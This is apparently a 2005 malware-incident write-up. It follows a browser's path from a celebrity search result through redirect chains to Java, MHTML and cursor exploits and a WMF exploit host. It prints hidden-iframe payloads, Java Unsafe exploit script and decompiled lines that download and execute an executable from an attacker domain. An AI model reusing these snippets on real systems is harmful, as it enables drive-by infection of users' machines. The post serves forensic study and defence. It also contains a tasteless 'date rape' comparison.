Last Updated: Saturday December 31, 2005
Michael Ligh (michael.ligh@mnin.org)
This document is part of the Browser Attacks Anthology
Although browsers are not red-headed stepchildren, sometimes they are treated as such. The Browser Attacks Anthology displays an accurate depiction of this abuse, but it doesn't end. It's been a while since there have been new additions to this series and not much has changed it seems. It's a bit ironic, but although this event involves the 0-day WMF exploit, and the compromised system behaved in a manner consistent with the reported symptoms, it was not the vulnerability which led to initial infection. The machine was exploited by either a vulnerability in Sun's or Microsoft's JVM.
Before starting, I would like to discuss the law of search engine infection. There is a finite, and often very short period of time between when a user issues a query for their desired criteria and when their computer gets infected with malware by pursuing one of the results. This law is indirectly influenced by the web's inanimate degrees of separation. Though these principles have not been scientifically measured, they exist and grow more narrow each day.
A site hosts content that qualifies for the criteria you specify in your search query. The site partners with an affiliate that hosts different types of content - data that you are not interested with. When you visit the first site, you subsequently access the affiliate. The affiliate has it's own set of affiliates and you end up several degrees away from the site you initially and knowingly access. Somewhere along the way, one of the sites in the chain hosts offensive and malicious content, which ends up being parsed and interpreted by your browser. The Rollyo concept of custom search engines is a nice, because it limits the results to sites that you pre-configure.
The event described in this report occurred on the same day as the one detailed in Classic Trimode Exploit. In the earlier situation, Yahoo search was used to locate Smashing Pumpkins information. This time, Yahoo search was used to gather data on Alyssa Milano. This came after several safe hours of browsing material related to Catherine Bach and Stacy Haiduk. The user clearly defeated the odds of search engine infection, lasting such a long while; however a law is a law. Yahoo returned the following result, which the user clicked and began to start the circus.
Wed Dec 28 14:20:03 2005 100 685 x.x.x.210 TCP_MISS/200 20451 \ GET http://easygo.did.expoze.com/en/alyssa-milano-nude.html - DIRECT/69.50.190.156 text/html
In physical terms, this scenario is more like date rape than aggravated assault. The abuse that will follow as a result of the user's action was not consensual, however s/he did knowingly and willingly complete a step that otherwise would not have resulted in the outcome. In a humorous perspective, at least the user was searching for images of attractive females ;-)
In Investigating CHM Exploits, I described a method to parse through proxy logs and obtain all the same content that the machine in question accessed. This was done as a technique to preserve evidence (when the machine's cache was not readily available) for later analysis and event reconstruction. The same idea was used in this scenario, except with a slightly different set of commands. I just used bash instead of a separate Perl script this time. It was quicker and more accurate. With the proxy log (Squid default format), the following entry did the trick:
# for i in `awk '{print $7}' proxy_access_log.txt`; do wget $i; done
This was successful in gathering enough data to begin looking into the details of this attack. Taking a quick survey of the links within alyssa-milano-nude.html, the following URL stood out:
[script src="http://r.x-stories.org/a.php?niche=celebs-f&num=22&url=/404.html"] [/script][h1]Alyssa Milano nude pics[/h1]
The site hosting the alyssa-milano-nude.html page is affiliated in one way or another with r.x-stories.org. At the time of the access, easygo.did.expoze.com resolved to 69.50.190.156 - a US based address. The domain no longer resolves, hence the significance of the quick data gathering technique above. The r.x-stories.org is still available, however. It resolves to 69.50.187.19 - another US based address owned by the same organization (InterCage, Inc).
So the a.php page outputs javascript which instructs the browser to change locations using the following simple directive:
var url = document.location + ""; p=location; r=escape(document.referrer); location='http://se-a.cpa4.org/r.pl?niche=&page='+p+'&ref='+r;
Although we've already got copies of the files, I thought it would be interesting to pull down r.pl's output without any special arguments. The script apparently is coded for redirection to Google if this is attempted:
$ wget http://se-a.cpa4.org/r.pl? --18:50:19-- http://se-a.cpa4.org/r.pl? => `r.pl' Resolving se-a.cpa4.org... 70.86.48.242 Connecting to se-a.cpa4.org|70.86.48.242|:80... connected. HTTP request sent, awaiting response... 302 Moved Temporarily Location: http://google.com [following]
So, by taking sample code from the a.php page, I was able to build a query that would invoke a response from r.pl. I simply had to pass it the niche, page, and ref variables (which any browser would have done automatically). This resulted in 302 Moved Temporarily messages also, however it only looped through different servers in the cpa4.org domain until finally downloading "index.html?celebsf+" from .cpa4.org. The following wget session shows this silly and confusing network of browser ping pong:
$ wget "http://se-a.cpa4.org/r.pl?niche=celebs-f&page=&ref=" --19:15:11-- http://se-a.cpa4.org/r.pl?niche=celebs-f&page=&ref= => `r.pl?niche=celebs-f&page=&ref=' Resolving se-a.cpa4.org... 70.86.48.242 Connecting to se-a.cpa4.org|70.86.48.242|:80... connected. HTTP request sent, awaiting response... 302 Moved Temporarily Location: http://rc.cpa4.org/rc.cgi?niche=celebsf [following] --19:15:11-- http://rc.cpa4.org/rc.cgi?niche=celebsf => `rc.cgi?niche=celebsf' Resolving rc.cpa4.org... 70.86.48.242 Reusing existing connection to se-a.cpa4.org:80. HTTP request sent, awaiting response... 302 Moved Temporarily Location: http://m.cpa4.org/celebsf/?celebsf+ [following] --19:15:11-- http://m.cpa4.org/celebsf/?celebsf+ => `index.html?celebsf+' Resolving m.cpa4.org... 70.86.48.242 Reusing existing connection to se-a.cpa4.org:80. HTTP request sent, awaiting response... 200 OK Length: unspecified [text/html] [ <=> ] 35,832 --.--K/s 19:15:12 (363.85 KB/s) - `index.html?celebsf+' saved [35832]
This HTML page contained critical information for the attack. A javascript function about half-way down the page contained several functions with obfuscated code. There are a million and one ways to do this and each one is unique. Rather than decorate my report with this code, it's available in a separate file, slightly disabled to prevent it from being used against others. In summary, the bXEHMT() function once decoded was a function itself. It was to further obfuscate the rest of the data. Here is the string that bXEHMT() returns:
document.write(fODMSJ(a1,arguments.callee.toString().replace(/\s/g,"")));
The purpose of the second function, fODMSJ(), is to print an iframe to the document (remember the degrees of separation!) and send the browser to both cleanchain.net and fullchain.net. Here is the final output of the combined functions:
[IFRAME SRC="http://cleanchain.net/fr/?id=us26" \ WIDTH=0 BORDER=0 HEIGHT=0 style="display:none"][/IFRAME] [IFRAME SRC="http://fullchain.net/fr/?id=us26" \ WIDTH=0 BORDER=0 HEIGHT=0 style="display:none"][/IFRAME]
At the time of this writing, both *chain.net domains resolve to 195.225.177.21, in the Ukraine. Before following these URLs, the index.html?celebsf+ page isn't through smacking the browser around from country to country. Another iframe directive uses HTML encoding to obfuscate it's destination. A copy of the code is below and it ultimately points to http://toolbarbucks.biz/xpl.wmf.
[iframe src="htt[...];" width=1 height=1][/iframe]
The toolbarbucks.zip domain name was allegedly registered by Alexander Pushkin of the Russian Federation. The obviously forged information reports that Alexander's home is at Pushkina Street in an area that has a postal code of 123456. The domain's WWW A record resolves to 81.9.5.9, which is registered to SPB Network in Russia. Nevertheless, this server is a component of the iframecash.biz organized Internet crime unit (visiting the web page shows the iframecash.biz logo and also pulls an iframe from them). The site hosts and distributes, among other malware, the 0-day Windows WMF exploits (see Microsoft's Advisory).
This shows how quickly the organization responds to new vulnerabilities and the adjustments they employ to take advantage of it. In the same section of code as the iframe for WMF content, there are two additional URLs commented out with the remark "#old"
[!-- #old [iframe src="http://buytoolbar.biz/xpl.wmf" width=1 height=1][/iframe] document.write("[iframe style='display:none' src='http://82.179.166.69/dia148/'][/iframe]") --]
This code was of course obfuscated with HTML encoding and the javascript String.fromCharCode() function. Not only does the organization keep a keen eye open for new vulnerabilities, but they closely monitor the status of their distribution nodes. When one goes down (buytoolbar.biz), they comment out the pointer and add a fresh one (toolbarbucks.biz).
So, back to the *chain.net domains. This is where the browser is currently being sent during the exploit reconstruction. Consulting the proxy logs from the real event shows that this interaction is all accurate. Remember this is all happening very fast and without the user's knowledge. It's been less than 3 seconds since the alyssa-milano-nude.html file was accessed.
Well the purpose of cleanchain.net/fr/ is to redirect the browser to cleanchain.net/fr/tp. At this location, the output is more redirection, to no where besides the original Ukraine network:
[iframe src="http://85.255.115.171/pa/4/inp.php" width=0 border=0 height=0 style="display:none"][/iframe]
The purpose of this inp.php page is to make the browser fetch another WMF exploit. Inside wmf_dcode.htm is the instruction to download wmf_dcode.wmf.
[iframe src='http://85.255.115.171/pa/4/www/wmf_dcode.htm' border=0 \ width=0 height=0][/iframe]
There is now a good understanding of the interaction with cleanchain.net. Obtaining the WMF file was it's entire purpose in life and that end has been reached. The abuse is not over yet, though. If, out of the two *chain.net domains, the one just discussed is the "cleaner" version, I wonder what the "full" site does. It does quite a bit, in fact. The fullchain.net/fr/ page sends the following output to the browser:
[style] * {CURSOR: url("full.anr")} [/style] [title]Jcount[/title] [body onLoad="welcoms()"] [script language=javascript] function welcoms() { try { var unsafeclass = document.mAnima.getClass().forName("sun.misc.Unsafe"); var unsafemeth = unsafeclass.getMethod("getUnsafe", null); var unsafe = unsafemeth.invoke(unsafemeth, null); document.mAnima.foobar(unsafe); var chenref = unsafe.defineClass("omfg", document.mAnima.luokka, 0, document.mAnima.classSize); var chen = unsafe.allocateInstance(chenref); chen.perse(unsafe); } catch (d) { return; } } [/script] [applet code="Anima.class" name="mAnima" height=1 width=1] [iframe width=0 height=0 border=0 style=visibility:hidden \ src=http://fullchain.net/psg/indexit.php][/iframe] [/applet]
This is documented at on the Mulling Security Blog and will be described in more detail shortly. For now, it's enough to know that the browser fetches full.anr which exploits the MS05-002 vulnerability and Anima.class and omfg.class. Furthermore, it pulls yet another iframe named indexit.php from a different path on the same server. This indexit.php file simply the classic trimode exploit, which uses the (previously discussed) MS05-002, MS03-011, and MS04-013 vulnerabilities. In fact, it adds another component by including more iframe tags to ieot.php. Unfortunately, this file is blank and cannot be analyzed at the moment.
[html> [head] [style] * {CURSOR: url("psg.anr")} [/style] [title]count[/title] [/head] [body id="occ" style="behavior:url(#default#clientcaps)"] [script] var d = document; var V = occ.getComponentVersion("{08B0E5C0-4FCB-11CF-AAA5-00401C608500}", \ "ComponentID"); if (V) { V=V.replace(/\,/gi,"."); document.write('[applet ARCHIVE="jar.jar" CODE="Counter.class" \ WIDTH="1" HEIGHT="1"][/applet]'); } d.write('[iframe width=0 height=0 border=0 style=visibility:hidden \ src=http://fullchain.net/apa/ieot.php][/iframe]'); try { d.write('<object data="&#'+109+';s-'+'its:mh'+'tml'+':'+ \ 'file://C:\\MAIN.MHT'+'!h'+'ttp://fullchain.net/psg//main.chm::/main.htm \ " type="text/x-scrip'+'tlet"][/object]'); } catch(e) {} [/script] [/body] [/html]
The browser would go on to fetch psg.anr, jar.jar, Counter.class, and main.chm. If vulnerable, the system would then interpret and execute the given code in an insecure manner. Interestingly, all of the content supplied by fullchain.net so far shares a single motivation. This becomes clear by first decompiling the Anime.class and omfg.class files with the fantastic jad tool. Once the class files have been reversed to Java source code, it's evident that the purpose is to fetch, save, and execute psj.exe:
fetchFile("http://fullchain.net/psg/psj.exe", "c:\\psj.exe");
The jar.jar archive is compiled of code with similar functions. Included in the mix are 5 more class files and an executable named web.exe:
# unzip jar.jar Archive: jar.jar inflating: Counter.class inflating: Gummy.class inflating: VerifierBug.class inflating: web.exe inflating: Worker.class inflating: Xeyond.class
Web.exe and psj.exe are both 35328-byte UPX packed Windows PE executables. They share an md5sum value of 453ebbe8de81bc687180231dc5612ece, which means they are the exact same file. The only difference between the two blocks of code above (the ones that contain full.anr and psg.anr) is the methodology used to load the executable. The first method accesses two class files and then makes a subsequent HTTP request for psj.exe - it is ultimately directed at Sun's JVM. The second method accesses a jar archive instead and comes packaged with web.exe, where it is decompressed and executed (see below). This method is directed at vulnerable versions of Microsoft's JVM.
# grep web.exe *.jad Worker.jad: DecompressFile("web.exe", s + "\\web.exe"); Xeyond.jad: Runtime.getRuntime().exec("C:\\web.exe" + s);
So to understand the real objective of this, we would need to find out what the web.exe/psg.exe and two WMF files do on the compromised system. Starting with the executable(s), it's primary purpose is to install more spyware and other programs - namely the fake anti-spyware/virus program Winhound (see SANS ISC Diary 972). This was identified by running the file on vmware and monitoring the outbound traffic. The following screen shots show the result of this action (it looks the same as Websense Security Lab's screen shots).
The infected machine that we began investigating was indeed infected by one of these three files - and due to file type filtering on the HTTP proxy, it was not the .wmf. However, the attack was performed from multiple angles and by using a variety of methods. The same payload (installing Winhound and trojan droppers) was successfully executed on the system, by way of either a vulnerability in Sun or Microsoft's JVM (the machine was reformatted by the owner before this investigation could take place, so the answer is unknown). This was decided upon because .anr, .chm, and .wmf files are blocked by the HTTP proxy.
A recent Internet Storm Center Diary discusses how the WMF files do not actually need to have a .wmf extension in order to be rendered correctly (perhaps I mean incorrectly?) by Windows. Theoretically that would mean that there is still a chance that this machine was infected with the 0-day WMF if it downloaded a rogue .jpg, .gif, .png, etcetera. However, from the wget loop earlier, I have copies of all the images accessed by the machine. Just to be sure, I thought I would check those files by doing a quick scan of the files with image extensions and checking for the legitimate header. For example, JPEGs should start with d8ff or ffd8 (depending on endian sytle), so we could use the following:
# for i in `ls *.jpg`; do hexdump -n 5 $i | egrep -v ffd8 | egrep -v 00005; done
This turned up two results - m.jpg and y.jpg from cc.ad-ware.cc and 82.179.170.11, respectively. This is the same domain and the same technique used in Turning JPEGs Into DLLs.
This is just another example of the hardship in defending machines. There are an infinite number of ways to potentially compromise a system; defenders need to protect against them all, but attackers only need to find one. As an addendum, I'll post a list of domains that were accessed after this infection so that others can put them on a blacklist. For now, it's time for a New Years party!